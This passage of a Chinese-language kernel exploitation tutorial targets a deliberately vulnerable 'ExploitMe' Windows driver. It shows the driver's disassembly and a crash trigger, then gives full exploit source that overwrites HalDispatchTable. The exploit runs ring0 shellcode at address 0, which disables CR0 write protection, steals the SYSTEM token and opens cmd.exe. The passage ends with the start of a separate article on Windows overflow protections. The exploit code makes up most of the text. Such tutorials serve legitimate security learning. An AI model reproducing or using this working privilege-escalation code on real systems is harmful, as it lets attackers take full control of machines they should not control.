上面的 test+0x4c0 就是IRP分发例程,通过对其反汇编,可以找到其中的IO控制码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
kd> uf test+0x4c0
test+0x4c0:
f90324c0 8bff mov edi,edi
f90324c2 55 push ebp
f90324c3 8bec mov ebp,esp
f90324c5 83ec24 sub esp,24h
f90324c8 c745e400000000 mov dword ptr [ebp-1Ch],0
f90324cf 8b450c mov eax,dword ptr [ebp+0Ch]
f90324d2 8b4860 mov ecx,dword ptr [eax+60h]
f90324d5 894df4 mov dword ptr [ebp-0Ch],ecx
f90324d8 8b55f4 mov edx,dword ptr [ebp-0Ch]
f90324db 8b4210 mov eax,dword ptr [edx+10h]
f90324de 8945f8 mov dword ptr [ebp-8],eax
f90324e1 8b4d0c mov ecx,dword ptr [ebp+0Ch]
f90324e4 8b513c mov edx,dword ptr [ecx+3Ch]
f90324e7 8955ec mov dword ptr [ebp-14h],edx
f90324ea 8b45f4 mov eax,dword ptr [ebp-0Ch]
f90324ed 8b4808 mov ecx,dword ptr [eax+8]
f90324f0 894dfc mov dword ptr [ebp-4],ecx
f90324f3 8b55f4 mov edx,dword ptr [ebp-0Ch]
f90324f6 8b4204 mov eax,dword ptr [edx+4]
f90324f9 8945e8 mov dword ptr [ebp-18h],eax
f90324fc 8b4df4 mov ecx,dword ptr [ebp-0Ch]
f90324ff 8b510c mov edx,dword ptr [ecx+0Ch]
f9032502 8955f0 mov dword ptr [ebp-10h],edx
f9032505 8b450c mov eax,dword ptr [ebp+0Ch]
f9032508 83c018 add eax,18h
f903250b 8945e0 mov dword ptr [ebp-20h],eax
f903250e 8b4de0 mov ecx,dword ptr [ebp-20h]
f9032511 c70100000000 mov dword ptr [ecx],0
f9032517 8b55e0 mov edx,dword ptr [ebp-20h]
f903251a c7420400000000 mov dword ptr [edx+4],0
f9032521 8b45f0 mov eax,dword ptr [ebp-10h]
f9032524 8945dc mov dword ptr [ebp-24h],eax
f9032527 817ddc03a08888 cmp dword ptr [ebp-24h],8888A003h // IO控制码
f903252e 7402 je test+0x532 (f9032532) // IO控制码0x8888A003对应的处理过程

kd> u f9032532
test+0x532:
f9032532 837dfc04 cmp dword ptr [ebp-4],4 // 输入缓冲区长度
f9032536 721a jb test+0x552 (f9032552)
f9032538 837de804 cmp dword ptr [ebp-18h],4 // 输出缓冲区长度
f903253c 7214 jb test+0x552 (f9032552)
f903253e 8b4dec mov ecx,dword ptr [ebp-14h] // 输出缓冲区
f9032541 8b55f8 mov edx,dword ptr [ebp-8]
f9032544 8b02 mov eax,dword ptr [edx] // 输入缓冲区
f9032546 8901 mov dword ptr [ecx],eax // 写入地址未经验证进而引发本地提权漏洞

下面编写测试代码,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

void ShowErrMsg()
{
LPVOID lpMsgBuf;
DWORD dw = GetLastError();

FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );

printf("系统错误:%s",lpMsgBuf);

LocalFree(lpMsgBuf);
}

int main(void)
{
HANDLE hDevice;
DWORD length = 0;
BOOL ret;
char g_InputBuffer[4] ="\x00\x00\x00\x00"; //输入缓冲区指针

// 打开设备驱动
hDevice = CreateFile("\\\\.\\ExploitMe",GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);

if (hDevice == INVALID_HANDLE_VALUE)
{
ShowErrMsg();
return EXIT_FAILURE;
}

ret = DeviceIoControl(hDevice, // 驱动句柄
0x8888A003, // IoControlCode数值
g_InputBuffer, // 输入缓冲区指针
4, // 输入缓冲区字节数
0x80808080, // 输出缓冲区指针
4, // 输出缓冲区字节数
&length, // 返回实际的数据字节数
NULL);

if(!ret)
ShowErrMsg();
else
printf("DeviceIoControl Success!\n");
return EXIT_SUCCESS;
}

运行后系统崩溃,被windbg断下,下面是 !analyze -v 的分析结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 80808080, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: f9032546, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************

WRITE_ADDRESS: 80808080

FAULTING_IP:
test+546
f9032546 8901 mov dword ptr [ecx],eax

MM_INTERNAL_CODE: 0

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAULTING_MODULE: f9032000 test

DEFAULT_BUCKET_ID: CODE_CORRUPTION

BUGCHECK_STR: 0x50

PROCESS_NAME: test.exe

TRAP_FRAME: f61b6b9c -- (.trap 0xfffffffff61b6b9c)
ErrCode = 00000002
eax=00000000 ebx=82567498 ecx=80808080 edx=0012ff70 esi=825cef38 edi=8256f150
eip=f9032546 esp=f61b6c10 ebp=f61b6c34 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
test+0x546:
f9032546 8901 mov dword ptr [ecx],eax ds:0023:80808080=???????? // 这里证明了我们先前的分析是正确的
Resetting default scope

LAST_CONTROL_TRANSFER: from 8053377f to 804e45a2

STACK_TEXT:
f61b66ec 8053377f 00000003 80808080 00000000 nt!RtlpBreakWithStatusInstruction
f61b6738 80534256 00000003 806f103c c0202020 nt!KiBugCheckDebugBreak+0x19
f61b6b18 80534846 00000050 80808080 00000001 nt!KeBugCheck2+0x574
f61b6b38 805251e0 00000050 80808080 00000001 nt!KeBugCheckEx+0x1b
f61b6b84 804e272b 00000001 80808080 00000000 nt!MmAccessFault+0x6f5
f61b6b84 f9032546 00000001 80808080 00000000 nt!KiTrap0E+0xcc
WARNING: Stack unwind information not available. Following frames may be wrong.
f61b6c34 804e4807 825a29d0 82567498 806f1070 test+0x546 // 这里就是漏洞函数
f61b6c44 80569191 82567508 8256f150 82567498 nt!IopfCallDriver+0x31
f61b6c58 805780ca 825a29d0 82567498 8256f150 nt!IopSynchronousServiceTail+0x70
f61b6d00 8057a5e3 000007e8 00000000 00000000 nt!IopXxxControlFile+0x611
f61b6d34 804df7ec 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f61b6d34 7c92e526 000007e8 00000000 00000000 nt!KiFastCallEntry+0xf8
0012fe94 7c92d28a 7c801675 000007e8 00000000 ntdll!KiIntSystemCall+0x6
0012fe98 7c801675 000007e8 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012fef8 0040116c 000007e8 8888a003 0012ff70 kernel32!DeviceIoControl+0xdd
0012ff80 00401399 00000001 00380f60 00380ff8 test_400000+0x116c
0012ffc0 7c817077 00241fe4 0012f7bc 7ffdc000 test_400000+0x1399
0012fff0 00000000 004012b0 00000000 78746341 kernel32!BaseProcessStart+0x23


STACK_COMMAND: kb

CHKIMG_EXTENSION: !chkimg -lo 50 -d !nt
804d9f94-804d9f98 5 bytes - nt!KiXMMIZeroPage+30
[ fa f7 80 0c 02:e9 cf 7c 7b 77 ]
……省略部分内容……
WARNING: !chkimg output was truncated to 50 lines. Invoke !chkimg without '-lo [num_lines]' to view entire output.
231 errors : !nt (804d9f94-805363e8)

MODULE_NAME: memory_corruption

IMAGE_NAME: memory_corruption

FOLLOWUP_NAME: memory_corruption

MEMORY_CORRUPTOR: LARGE

FAILURE_BUCKET_ID: MEMORY_CORRUPTION_LARGE

BUCKET_ID: MEMORY_CORRUPTION_LARGE

Followup: memory_corruption
---------

0x02 漏洞利用

利用思路:1、获取HalDispatchTable表地址,再偏移0x4找到HalQuerySystemInformation函数地址;
2、利用内核漏洞将HalQuerySystemInformation函数地址修改为0x0;
3、在0x0地址处申请块内存,然后将ring0 shellcode拷贝过去;
4、通过调用NtQueryIntervalProfile函数来执行0x0处的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
***************************** exploit.h ***************************

#ifndef _EXPLOIT_H
#define _EXPLOIT_H

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define IMP_VOID __declspec(dllimport) VOID __stdcall
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall

#define PAGE_SIZE 0xA00

#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003

#define NtCurrentProcess() ((HANDLE)0xFFFFFFFF)

#define KERNEL_NAME_LENGTH 0x0D

#define STATUS_SUCCESS 0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

typedef ULONG NTSTATUS;

typedef struct _ANSI_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PCHAR Buffer;
/* 0x08 */
}
ANSI_STRING,
*PANSI_STRING,
**PPANSI_STRING;

typedef struct _UNICODE_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PWSTR Buffer;
/* 0x08 */
}
UNICODE_STRING,
*PUNICODE_STRING,
**PPUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
/* 0x00 */ ULONG Length;
/* 0x04 */ HANDLE RootDirectory;
/* 0x08 */ PUNICODE_STRING ObjectName;
/* 0x0C */ ULONG Attributes;
/* 0x10 */ PSECURITY_DESCRIPTOR SecurityDescriptor;
/* 0x14 */ PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
/* 0x18 */
}
OBJECT_ATTRIBUTES,
*POBJECT_ATTRIBUTES,
**PPOBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK
{
union
{
/* 0x00 */ NTSTATUS Status;
/* 0x00 */ PVOID Pointer;
};

/* 0x04 */ ULONG Information;
/* 0x08 */
}
IO_STATUS_BLOCK,
*PIO_STATUS_BLOCK,
**PPIO_STATUS_BLOCK;

typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION
{
/* 0x0000 */ ULONG Reserved[2];
/* 0x0008 */ PVOID Base;
/* 0x000C */ ULONG Size;
/* 0x0010 */ ULONG Flags;
/* 0x0014 */ USHORT Index;
/* 0x0016 */ USHORT Unknown;
/* 0x0018 */ USHORT LoadCount;
/* 0x001A */ USHORT ModuleNameOffset;
/* 0x001C */ UCHAR ImageName[256];
/* 0x011C */
}
SYSTEM_MODULE_INFORMATION,
*PSYSTEM_MODULE_INFORMATION,
**PPSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION_EX
{
/* 0x00 */ ULONG ModulesCount;
/* 0x04 */ SYSTEM_MODULE_INFORMATION Modules[0];
/* 0xXX */
}
SYSTEM_MODULE_INFORMATION_EX,
*PSYSTEM_MODULE_INFORMATION_EX,
**PPSYSTEM_MODULE_INFORMATION_EX;

typedef enum _KPROFILE_SOURCE
{
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE;

typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);

IMP_VOID RtlInitAnsiString
(
IN OUT PANSI_STRING DestinationString,
IN PUCHAR SourceString
);

IMP_VOID RtlInitUnicodeString
(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

IMP_VOID RtlCreateUnicodeStringFromAsciiz
(
OUT PUNICODE_STRING DestinationString,
IN PUCHAR SourceString
);

IMP_VOID RtlFreeUnicodeString
(
IN PUNICODE_STRING UnicodeString
);

IMP_VOID RtlFreeAnsiString
(
IN PANSI_STRING AnsiString
);

IMP_SYSCALL LdrLoadDll
(
IN PWSTR DllPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *DllHandle
);

IMP_SYSCALL LdrUnloadDll
(
IN PVOID DllHandle
);

IMP_SYSCALL LdrGetProcedureAddress
(
IN PVOID DllHandle,
IN PANSI_STRING ProcedureName OPTIONAL,
IN ULONG ProcedureNumber OPTIONAL,
OUT PVOID *ProcedureAddress
);

IMP_SYSCALL NtAllocateVirtualMemory
(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

IMP_SYSCALL NtFreeVirtualMemory
(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PULONG FreeSize,
IN ULONG FreeType
);

IMP_SYSCALL NtQuerySystemInformation
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

IMP_SYSCALL NtCreateFile
(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
);

IMP_SYSCALL NtDeviceIoControlFile
(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);

IMP_SYSCALL NtDelayExecution
(
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Interval
);

IMP_SYSCALL NtQueryIntervalProfile
(
IN KPROFILE_SOURCE Source,
OUT PULONG Interval
);

IMP_SYSCALL NtClose
(
IN HANDLE Handle
);

#endif

******************************** END *************************************

******************************** exploit.c *******************************

#include "exploit.h"

#define IOCTL_CODE 0x8888A003

PVOID RtlAllocateMemory(
IN ULONG Length)
{
NTSTATUS NtStatus;

PVOID BaseAddress = NULL;


NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
0,
&Length,
MEM_RESERVE |
MEM_COMMIT,
PAGE_READWRITE);

if(NtStatus == STATUS_SUCCESS)
{
RtlZeroMemory(BaseAddress, Length);

return BaseAddress;
}

return NULL;
}

VOID RtlFreeMemory(
IN PVOID BaseAddress)
{
NTSTATUS NtStatus;

ULONG FreeSize = 0;


NtStatus = NtFreeVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
&FreeSize,
MEM_RELEASE);
}


char g_ressdtOutputBuffer[4]={0};//输出的缓冲区

DWORD g_uCr0=0;

NTSTATUS MyShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
//关闭内核写保护
__asm
{
cli
mov eax, cr0
mov g_uCr0,eax
and eax,0xFFFEFFFF
mov cr0, eax
}

//提权到SYSTEM
__asm
{
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
mov eax,[eax] //获取当前线程PETHREAD
mov esi,[eax+0x220] //获取当前线程所属进程的PEPROCESS
mov eax,esi
searchXp:
mov eax,[eax+0x88]
sub eax,0x88 //获取进程链表中下一个进程的PEPROCESS
mov edx,[eax+0x84] //获取该进程的pid到edx
cmp edx,0x4 //通过PID查找SYSTEM进程
jne searchXp
mov eax,[eax+0xc8] //获取system进程的token
mov [esi+0xc8],eax //修改当前进程的token
}
//恢复内核写保护
_asm
{
sti
mov eax, g_uCr0
mov cr0, eax
}
return 0;
}

void ShowAlertMsg()
{
LPVOID lpMsgBuf;
DWORD dw = GetLastError();

FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );

printf("%s",lpMsgBuf);

LocalFree(lpMsgBuf);
}

int __cdecl main(int argc, char **argv)
{
NTSTATUS NtStatus;

HANDLE DeviceHandle;
ULONG ReturnLength = 0;
char g_InputBuffer[4] ="\x00\x00\x00\x00";

ULONG ImageBase;
PVOID MappedBase;
UCHAR ImageName[KERNEL_NAME_LENGTH];
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable;
PVOID xHalQuerySystemInformation;
PVOID MmUserProbeAddress;

ULONG ShellCodeSize = PAGE_SIZE; // 此值不可过高,否则可能导致在复制shellcode时引发异常,
// 因为复制的内存过广,可能有部分是不可写的,此时就会引发错误!
PVOID ShellCodeAddress;
PVOID BaseAddress = NULL;

UNICODE_STRING DeviceName;
UNICODE_STRING DllName;
ANSI_STRING ProcedureName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
LARGE_INTEGER Interval;

ULONG TextColor;

///////////////////////////////////////////////////////////////////////////////////////////////

system("cls");

// 获取内核模块列表数据大小到ReturnLength
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);

if(NtStatus == STATUS_INFO_LENGTH_MISMATCH)
{
ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);

ModuleInformation = RtlAllocateMemory(ReturnLength); // 申请内存用于存放内核模块列表数据

if(ModuleInformation)
{
// 获取内核模块列表数据到ModuleInformation
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);

if(NtStatus == STATUS_SUCCESS)
{
// 从内核模块列表中获取内核第一个模块的基址和名称
ImageBase = (ULONG)(ModuleInformation->Modules[0].Base); // 获取模块基址

RtlMoveMemory(
ImageName, // 获取模块名称
(PVOID)(ModuleInformation->Modules[0].ImageName +
ModuleInformation->Modules[0].ModuleNameOffset),
KERNEL_NAME_LENGTH);

printf(" **************************************************************************\n"
" * ImageBase - 0x%.8X \n"
" * ImageName - %s \n",
ImageBase,
ImageName);

RtlFreeMemory(ModuleInformation); // 释放存放内核模块列表的内存

RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName); // 获取内核模块的UnicodeString

// 加载内核模块到本地进程
NtStatus = LdrLoadDll(
NULL, // DllPath
&DllCharacteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
printf( " * \n"
" * LdrLoadDLL:");
ShowAlertMsg();

RtlInitAnsiString(&ProcedureName, "HalDispatchTable");

// 获取内核HalDispatchTable 函数表地址
NtStatus = LdrGetProcedureAddress(
(PVOID)MappedBase, // DllHandle
&ProcedureName, // ProcedureName
0, // ProcedureNumber OPTIONAL
(PVOID*)&HalDispatchTable); // ProcedureAddress
printf(" * LdrGetProcedureAddress:");
ShowAlertMsg();

(ULONG)HalDispatchTable -= (ULONG)MappedBase;
(ULONG)HalDispatchTable += ImageBase;

// HalDispatchTable 地址 + 4 = HalQuerySystemInformation 函数地址
(ULONG)xHalQuerySystemInformation = (ULONG)HalDispatchTable + sizeof(ULONG);

printf(" * \n"
" * HalDispatchTable - 0x%.8X \n"
" * xHalQuerySystemInformation - 0x%.8X \n",
HalDispatchTable,
xHalQuerySystemInformation);

// 卸载进程中的内核模块
LdrUnloadDll((PVOID)MappedBase);


RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");

ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;

// 获取驱动设备句柄
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions
NULL, // EaBuffer OPTIONAL
0); // EaLength
printf( " * \n"
" * NtCreateFile:");
ShowAlertMsg();

// 令输出缓冲区指针指向HalQuerySystemInformation函数地址
*(DWORD *)g_ressdtOutputBuffer=(DWORD)xHalQuerySystemInformation;


NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_CODE, // IoControlCode
g_InputBuffer, // InputBuffer
4, // InputBufferLength
g_ressdtOutputBuffer, // OutputBuffer
4); // OutBufferLength
printf(" * NtDeviceIoControlFile:");
ShowAlertMsg();

ShellCodeAddress = (PVOID)sizeof(ULONG);

NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
0, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
printf(" * NtAllocateVirtualMemory:");
ShowAlertMsg();

RtlCopyMemory(
ShellCodeAddress,
(PVOID)MyShellCode,
ShellCodeSize);

printf(" * RtlMoveMemory:");
ShowAlertMsg();

// 通过调用NtQueryIntervalProfile函数来执行0x0上的ring0 shellcode
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
printf(" * NtQueryIntervalProfile:");
ShowAlertMsg();

NtStatus = NtClose(DeviceHandle);

printf(" * NtClose:");
ShowAlertMsg();
printf(" **************************************************************************\n");

WinExec("cmd.exe" , SW_SHOW);
printf(" * Exploit Successful!\n\n");

getchar();

}
}
}

return FALSE;
}

********************************** END ********************************************

0x3 结尾

写这个exploit,时间更多地是花在调试上面,遇到的主要问题就是写exploit时,在复制shellcode到分配的内存地址时,由于复制的字节数过大,导致因后面的内存不可读而显错,经过多次调试,将其调整为0xA00大小最为合适,另一个问题是在编译样章上的源码遇到的问题,由于粗心将符号链接名中的两斜杆\落掉了,导致编译成功后,可加载但不可启动,经过多次的内核调试才找到原因。很多问题都是如此,在找到问题根源后,总会令人大抱不值不该!本文只是内核漏洞利用的入门教程,希望能对初学者有所帮助!

Windows溢出保护原理与绕过方法概览

By : riusksk(泉哥)
Blog: http://riusksk.me
Data: 第1版:2010/10/26
第2版:2011/3/26

前言

从20世纪80年代开始,在国外就有人开始讨论关于溢出的攻击方式。但是在当时并没有引起人们的注意,直至后来经一些研究人员的披露后,特别是著名黑客杂志Phrack上面关于溢出的经典文章,引领许多人步入溢出研究的行列,从此关于缓冲区溢出的问题才为人们所重视。随着溢出研究的深入,网上开始出现很多关于溢出攻击教程,揭露了许多溢出利用技术,特别是经典的call/jmp esp,借此溢出攻击案例层出不穷。这也引起了微软的重视,他们在windows系统及VC++编译器上加入了各种溢出保护机制,以试图阻止这类攻击,可惜每次公布溢出保护机制之后,不久就有人公布绕过方法。MS每次都称某保护机制将成为溢出利用的末日,可惜每次都被终结掉。既而,黑客与微软之间的溢出斗争一直持续着。更多关于windows溢出的历史,可参见由Abysssec安全组织编写的文章《Past,Present,Future of Windows Exploitation》。在本篇文章中主要揭露了windows平台上的各种溢出保护机制原理以及绕过方法,具体内容参见下文。

一、GS编译选项

原理

通过VC++编译器在函数前后添加额外的处理代码,前部分用于由伪随机数生成的cookie并放入.data节段,当本地变量初始化,就会向栈中插入cookie,它位于局部变量和返回地址之间:

┏━━━━━━━━┓内存低地址
┃   局部变量    ┃▲
┣━━━━━━━━┫┃
┃security_cookie ┃┃
┣━━━━━━━━┫┃栈
┃  入栈寄存器   ┃┃生
┣━━━━━━━━┫┃长                       
┃     SEH节点  ┃┃方
